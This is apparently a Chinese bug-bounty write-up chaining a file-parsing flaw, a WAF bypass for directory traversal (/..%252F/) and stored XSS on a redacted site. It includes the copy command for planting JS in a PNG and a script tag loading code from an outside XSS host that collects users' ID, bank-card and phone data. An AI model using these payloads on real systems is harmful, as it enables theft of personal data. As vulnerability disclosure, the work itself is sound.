一次混合双打出来的漏洞

一次混合双打出来的漏洞

原创 X1ly?S 富贵安全 2025-01-27 01:27

先是在某SRC官网FUZZ出一处图片显示接口,发现image__name参数是图片路径,那么有几个可尝试的点:文件包含getshell;目录穿越;ssrf……

https://xxx.cn/xxxx/ueditor?image_name=/xxx.png

经过尝试,文件包含、ssrf都不行,只是拼接读取了远程资源站的图⽚。但在给路径后加上”+”后,奇迹出现了:

https://xxx.cn/xxxx/ueditor?image_name=/xxx.png+

图⽚被意外的解析成了HTML⻚⾯,此处存在文件解析漏洞!

  • 既然能把png解析为html,那么我们构造一个带有JS代码的图片,访问路径,加上”+”,就构成了存储型XSS

  • 继续尝试目录穿越,/../../3.png,出现了自研WAF,拦截了


– 没事,使用burp FUZZ一下就bypass了

Payload: /..%252F/

漏洞利⽤

现在已经可以存储型XSS+目录穿越了,又已知该SRC官网因为要打款奖励,所以需要用户填写个⼈信息(姓名,⼿机号,sfz等信息),⽽这些信息⽤户自己可以在个人中心处查看,于是直接打一套组合拳提升危害,去盗取这些个人信息

  • 利⽤010Editor或copy命令,构造含有恶意代码的图⽚

  • 010Editor:就不多说了,以16进制方式打开后,直接把js代码加在末尾就可以了 copy命令:

copy tiny.png /b + code.txt /a tiny_code.png

拿一张很小的普通图片tiny.png,js代码写在code.txt,二者合成生成了tiny_code.png:插入了恶意js代码的图片

<script src="http://xss.com/xxx/demo.js"></script>

这个http://xss.com/xxx/demo.js其实就是把demo.js部署在了远程XSS平台,这样看可以执行更多的JS代码,且方便接收执行得到的数据

脚本会通过Ajax请求URL,使⽤DOMParser转换并解析DOM对象,提取⽤户身份证、银⾏卡、⼿机号、地址等信息后合并base64编码发送到XSS平台接收数据

  • 构造好了恶意图片,那么就去找文件上传接口上传图片了,直接上传刚刚构造好的恶意图片,但是上传到的路径不是那个存在文件解析漏洞的路径下,于是目录遍历漏洞就派上用场了,在那个存在文件解析漏洞的接口image__name参数传入/..%252F/xxx/xxx/tiny_code.png穿越一下目录,就可以了

  • 然后再构造一个,用来钓鱼跳转的网站,实现只要受害者访问该网站,就自动跳转去请求我们刚才的恶意图片链接(被解析为了html执行),就会无感的触发其中已经构造好的js代码,去远程调用XSS平台中的demo.js,获取SRC官网个人中心处的个人信息,并把数据发送给XSS平台接收

钓鱼跳转网站


– 构造好的恶意图片链接(被解析为了html执行)


– XSS平台接收到数据


– 成功窃取到受害者的信息,base64解码即可

技术点总结

  • Fuzz出接⼝及参数,拼接+号解析成HTML⻚⾯

  • URL拼接时BypassWAF进⾏⽬录穿越

  • 使⽤DOMParser转换为DOM对象并提取表单input值,后通过window.btoa`函数base64编码字符串